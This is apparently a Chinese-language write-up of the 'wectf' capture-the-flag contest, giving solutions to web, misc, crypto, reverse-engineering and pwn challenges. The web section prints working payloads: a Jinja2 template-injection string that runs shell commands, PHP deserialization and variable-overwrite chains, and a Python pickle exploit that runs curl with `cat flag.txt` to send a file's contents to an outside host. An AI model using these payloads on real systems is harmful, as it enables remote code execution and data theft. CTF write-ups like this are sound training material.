WEB web签到题 直接看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <meta http-equiv ="X-UA-Compatible" content ="ie=edge" > <title > flag is here</title > </head > <body > 看不到 flag 吗? </body > </html >
拿到flag
easy01 看源代码
简单GET传参。
拿到flag
1 wectf{1e2e3c4a5d6c123d456eaec456789f}
medium01 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file("source.php" ); if (isset ($_GET ['a' ])){ $a = trim($_GET ['a' ]); if ($a >999999 and strlen($a )<5 ) { echo "wectf{xxxxxxxxxxxxxxx}" ; } } ?>
值大于999999长度小于五,可以用科学计数法绕过。
拿到flag
medium02 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting(0 ); highlight_file("source.php" ); $name = $_COOKIE ['pass' ];if ($name == "password" ){ extract($_POST ); if ($name == "isnotonly" ) { echo "wectf{xxxxxxxxxxxxxx}" ; } } ?>
变量覆盖。 先设置一对cookie键值对pass=password 然后再post一个name=isnotonly 拿到flag
easy02 访问提示ip禁止访问。 尝试添加X-Forwared-For:127.0.0.1绕过。 拿到flag
1 wectf{X_FORWARDED_FOR_is}
high02 查看源代码
1 Hello guest<!-- get a name -->
提示get a name,用GET方法传入一个name。 发现传入的值会回显回来。 看一下消息头显示是Server:gunicorn/19.9.0 考虑是flask的ssti。 测试
回显Hello 2 测试命令执行
1 ?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
回显Hello uid=33(www-data) gid=33(www-data) groups=33(www-data) 读flag
1 ?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()") }}{% endif %}{% endfor %}
Crazy1 php反序列化题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php class O00O { public $value ; public function __destruct ( ) { $this ->value->func1(); } } class GetFlag { public function get_flag ( ) { echo "flag{xxxxxxxxxxxxxxxxx}" ; } } class ina { public $value ; public function __toString ( ) { $this ->value->get_flag(); return "1" ; } } class Call { public $value ; public function func1 ( ) { $this ->value->func2(); } } class Func_m { public $value1 ; public $value2 ; public function __invoke ( ) { $this ->value2 = "flag" .$this ->value1; } } class Func_t { public $value ; public function __call ($func2 ,$a ) { $func = $this ->value; $func (); } } error_reporting(0 ); highlight_file("source.php" ); if (isset ($_GET ['name' ])){ $name = $_GET ['name' ]; if (strlen($name ) < 10 ){ extract($_POST ); unserialize($name ); } } ?>
又用到了变量覆盖,主要还是反序列化。 理清楚逻辑即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php header("Content-type: text/html; charset=utf-8" ); class O00O { public $value ; public function __destruct ( ) //当对象所在函数调用完毕后执行。 { $this ->value->func1(); } } class GetFlag { public function get_flag ( ) { echo "flag{xxxxxxxxxxxxxxxxx}" ; } } class ina { public $value ; public function __toString ( ) //当对象被当做一个字符串使用时调用。 { $this ->value->get_flag(); return "1" ; } } class Call { public $value ; public function func1 ( ) { $this ->value->func2(); } } class Func_m { public $value1 ; public $value2 ; public function __invoke ( ) //当尝试以调用函数的方式调用一个对象时,该方法会被自动调用 { $this ->value2 = "flag" .$this ->value1; } } class Func_t { public $value ; public function __call ($func2 ,$a ) //当调用对象中不存在的方法会自动调用该方法。 { $func = $this ->value; $func (); } } ?>
直接写脚本生成payload了
1 2 3 4 5 6 7 8 9 10 11 . . . $a =new O00O();$a ->value=new Call();$a ->value->value=new Func_t();$a ->value->value->value=new Func_m();$a ->value->value->value->value1=new ina();$a ->value->value->value->value1->value=new GetFlag();print (serialize($a ));
先GET
再POST
1 name=O:4:"O00O":1:{s:5:"value";O:4:"Call":1:{s:5:"value";O:6:"Func_t":1:{s:5:"value";O:6:"Func_m":2:{s:6:"value1";O:3:"ina":1:{s:5:"value";O:7:"GetFlag":0:{}}s:6:"value2";N;}}}}
拿到flag
1 flag{unserialize_php_O00O}
high03 给了附件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import picklefrom flask import Flask, requestapp = Flask(__name__) @app.route('/' , methods=['POST' , 'GET' ] ) def index (): if request.method == 'POST' : a = request.form['a' ] pickle.loads(a) username = "admin" else : username = "guest" return "hostname : %s " % username if __name__ == "__main__" : app.run()
python反序列化。 写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import pickleimport requestsimport osclass exp (object ): def __reduce__ (self ): return (os.system,("curl http://x.x.x.x?`cat flag.txt`" ,)) if __name__ == '__main__' : data = pickle.dumps(exp()) payload = { 'a' :str (data)} r = requests.post("http://119.23.236.68:63008/" ,data=payload) print r.text
一开始执行cat flag.txt,但是并不会返回到页面上,所以直接把flag当参数去请求xss接收平台,然后在后台拿到flag
1 wectf{just_fanxuliehua_python}
easy03 消息头直接看到flag
medium03 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file('source.php' ); error_reporting(0 ); $flag = 'wectf{xxxxxxxxxxxxxxxx}' ;if (isset ($_GET ['name' ]) and isset ($_GET ['username' ]) and isset ($_POST ['password' ])) { if ($_GET ['username' ] == $_POST ['password' ]){ die ('exit' ); } else if (sha1($_GET ['username' ]) === sha1($_POST ['password' ])) { $name = urldecode($_GET ['name' ]); if ($name === 'wectf!@#$wectf' ) { die ('Flag: ' .$flag ); } } } ?>
对于
1 2 $_GET ['username' ] == $_POST ['password' ]sha1($_GET ['username' ]) === sha1($_POST ['password' ])
可以用数组类型去绕过
1 2 3 4 GET username[]=a POST password[]=b
然后
1 $name = urldecode($_GET ['name' ]);
这里需要对wectf!@#$wectf进行两次url编码,浏览器解码一次,php解码一次
1 name=wectf!%2540%2523%2524wectf
拿到flag
1 wectf{e2e123acef456789d132f456c13}
misc rot13 1 2 3 flag = "xxxxxxxxxxxxxxxx" print flag.encode('rot13' )
直接decode(‘rot13’)即可
1 wectf{R0t13_so_easy_we1c0me_to_wectf}
贝斯家族 你听说过大名鼎鼎的贝斯(base)家族吗? 4D515A464D32544549354E444F574C4B4B4A35465556525950424D57594F4B474A565744514D535A4C415944323D3D3D 使用base16 32 64依次解密
babypcap 简单流量分析 下载附件,wireshark打开 先过滤出http协议,然后追踪tcp流,胡乱分析。 最后切换到tcp流1的时候看到flag
ascii 77656374667b315f346d5f66346b655f08080808085f666c34677d 直接hex解码 但是 将乱码删掉,提交,不行。 再把f4ke删掉得到正确flag,真就猜呗。
这是个啥东西 下载附件发现是张png,打不开。 winhex打开,修复文件头,找一张正常的png对比修复。 修复完正常打开。
crypto 签到 flag在群公告
老套的md5 小明泼墨水了,墨水泼到 wectf 的flag上面了,明文中有三个字符被挡住了,巧的很,明文的md5值咱们知道,而且他没有被泼墨水,简单了吧
明文:wectf{ab?def?hijklm?opq}
密文:84e7ab5946fb4c5d94ed891c42d5fac6
md5_exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import hashlib, stringdef md5 (s ): m = hashlib.md5() m.update(s.encode('utf8' )) return m.hexdigest() dic = string.ascii_letters + string.digits for i in dic: for j in dic: for k in dic: s = "wectf{ab" + i + "def" + j + "hijklm" + k + "opq}" if md5(s) == "84e7ab5946fb4c5d94ed891c42d5fac6" : print(s)
babyRSA 下载附件
1 2 3 4 5 6 7 8 9 10 from Crypto.Util.number import bytes_to_longflag = raw_input("flag : " ) tmp = bytes_to_long(flag) n = 47966708183289639962501363163761864399454241691014467172805658518368423135168025285144721028476297179341434450931955275325060173656301959484440112740411109153032840150659 e = 3 c = pow (tmp, e, n) if c == 1495572858946434740124351882099461657145759077753704214627609673423129831012766355967962871807110976347627163520955975614562262871102943487213224386685367602432775269 : print "you get it!" else : print "Too Young, Too simple!"
e=3,密文开三次方即是明文 rsa_exp.py
1 2 3 4 5 6 7 8 9 10 import gmpyc=1495572858946434740124351882099461657145759077753704214627609673423129831012766355967962871807110976347627163520955975614562262871102943487213224386685367602432775269 n=47966708183289639962501363163761864399454241691014467172805658518368423135168025285144721028476297179341434450931955275325060173656301959484440112740411109153032840150659 i=0 while 1 : if (gmpy.root(c+i*n, 3 )[1 ]==1 ): print gmpy.root(c+i*n, 3 ) break i=i+1
将根转16进制后hex解码
guess 密文:U2FsdGVkX19x8Dq5FttochQw/lMz8C5gFD6PQjKZvtxBjb0Sab8cIqXqBpMne5vx 直接aes解密
cxk=xcp 下载附件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 lowercase = "abcdefghijklnmopqrstuvqxyz" uppercase = "ABCDEFGHIJKLMNOPQRSTUVQXYZ" digest = "0123456789" plaintext = "what are you doing? you can join crypt group. flag is wectf{xxxxxxxxxxxxx}" ciphertext = "" for i in range (len (plaintext)): if plaintext[i] in lowercase: enc = ord ('a' ) + (ord ('z' ) - ord (plaintext[i])) % 26 elif plaintext[i] in uppercase: enc = ord ('A' ) + (ord ('Z' ) - ord (plaintext[i])) % 26 elif plaintext[i] in digest: enc = ord ('0' ) + (ord ('9' ) - ord (plaintext[i])) % 10 else : enc = ord (plaintext[i]) ciphertext += chr (enc) print(ciphertext)
直接改脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import stringdic = string.ascii_letters + string.digits lowercase = "abcdefghijklnmopqrstuvqxyz" uppercase = "ABCDEFGHIJKLMNOPQRSTUVQXYZ" digest = "0123456789" plaintext = "what are you doing? you can join crypt group. flag is wectf{xxxxxxxxxxxxx}" ciphertext = "" for i in range (len (plaintext)): if plaintext[i] in lowercase: enc = ord ('a' ) + (ord ('z' ) - ord (plaintext[i])) % 26 elif plaintext[i] in uppercase: enc = ord ('A' ) + (ord ('Z' ) - ord (plaintext[i])) % 26 elif plaintext[i] in digest: enc = ord ('0' ) + (ord ('9' ) - ord (plaintext[i])) % 10 else : enc = ord (plaintext[i]) ciphertext += chr (enc) print(ciphertext) print(dic) ciphertext = "" for i in range (len (dic)): if dic[i] in lowercase: enc = ord ('a' ) + (ord ('z' ) - ord (dic[i])) % 26 elif dic[i] in uppercase: enc = ord ('A' ) + (ord ('Z' ) - ord (dic[i])) % 26 elif dic[i] in digest: enc = ord ('0' ) + (ord ('9' ) - ord (dic[i])) % 10 else : enc = ord (dic[i]) ciphertext += chr (enc) print(ciphertext)
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 zyxwvutsrqponmlkjihgfewcbaZYXWVUTSRQPONMLKJIHGFEWCBA9876543210 得到处理后的映射关系 对照密文还原明文
reverse xor_linux 下载附件 简单异或
1 2 3 s = "vdbugzy1s^r1^d5rx|" for i in s: print(chr (ord (i)^1 ),end="" )
cmp 有strcmp动作,跟进直接看到分段的flag
assembly 汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 push rbp mov rbp, rsp sub rsp, 10h mov [rbp+var_4], 0 jmp short s1 s2: mov eax, [rbp+var_4] cdqe movzx eax, s[rax] add eax, 14h mov edx, eax mov eax, [rbp+var_4] cdqe mov s[rax], dl add [rbp+var_4], 1 s1: cmp [rbp+var_4], 25h jle short s2 mov esi, offset s mov edi, offset format ; "%s" mov eax, 0 call _printf mov eax, 0 leave retn s的数据为: 52 58 4D 53 67 51 22 4F 1C 52 23 4E 52 1C 50 4D 1F 52 1D 4F 23 23 4F 22 50 4F 4E 4F 23 1D 4D 20 21 1c 4d 21 1e 69
给一个变量赋值为0,然后跳到s1
1 2 cmp [rbp+var_4], 25h jle short s2
当var_4小于等于25h即十进制的37时调用s2,这个是循环38次,看一下s的数据刚好有38个,跟进s2分析。
1 2 3 4 5 6 7 8 9 10 s2: mov eax, [rbp+var_4] cdqe movzx eax, s[rax] add eax, 14h mov edx, eax mov eax, [rbp+var_4] cdqe mov s[rax], dl add [rbp+var_4], 1
s2中对传进来的字符加14h即20,所以我们只需要将s的数据减去20即可。
1 2 3 4 5 6 data="52 58 4D 53 67 51 22 4F 1C 52 23 4E 52 1C 50 4D 1F 52 1D 4F 23 23 4F 22 50 4F 4E 4F 23 1D 4D 20 21 1c 4d 21 1e 69" data=data.split(" " ) for i in data: a="0x" +i a=int (a,16 )+20 print(chr (a),end="" )
1 flag{e6c0f7bf0da3f1c77c6dcbc71a450a52}
base64 这个 base64 有点特别 s2为密文 跟进4006D6 base64加密函数,但是在加密前会将字母表前移一位,变异base64。
1 2 3 4 5 6 import base64a = "@ABCDEFGHIJKLMNOPQRSTUVWXY`abcdefghijklmnopqrstuvwxy/012345678*." b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" base_fix = "YlwgY2r2NCb4LSIkMlHyXiQiLyIlMiTwYSYhNSD/LyfxYSMgNW/=" table = '' .maketrans(a, b) print(base64.b64decode(base_fix.translate(table)))
改一下映射关系即可
1 flag{787912e6b3b4c32f651e6b914382e3a9}
sign_in .net直接上工具 看按钮点击函数 进行了AES加密,然后对比this.cmp AES加密函数 在线工具
king 字符处理,看一下密文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import stringm = "2k6915l15j7ikmml2i470j1648h79717" dic = string.ascii_letters for i in m: flag = 0 for j in dic: if i.islower() & (chr ((ord (j) - 97 + 7 ) % 26 + 97 ) == i): print(j, end="" ) flag = 1 break elif i.isupper() & (chr ((ord (j) - 65 + 7 ) % 26 + 65 ) == i): print(j, end="" ) flag = 0 break if (flag): continue print(i,end="" )
1 wectf{2d6915e15c7bdffe2b470c1648a79717}
pwn BOF 没什么好说的,覆盖就完了 v4可控
1 2 char v4; // [rsp+0h] [rbp-20h] int v5; // [rsp+1Ch] [rbp-4h]
20h-4h=32-4=28
1 2 3 4 5 6 from pwn import *p = remote("39.98.246.99" ,"10035" ) payload = 'a' *28 + p32(1 ) p.sendline(payload) p.interactive()
nc签到 循环5次,输入的值相加等于1311768467463790320即可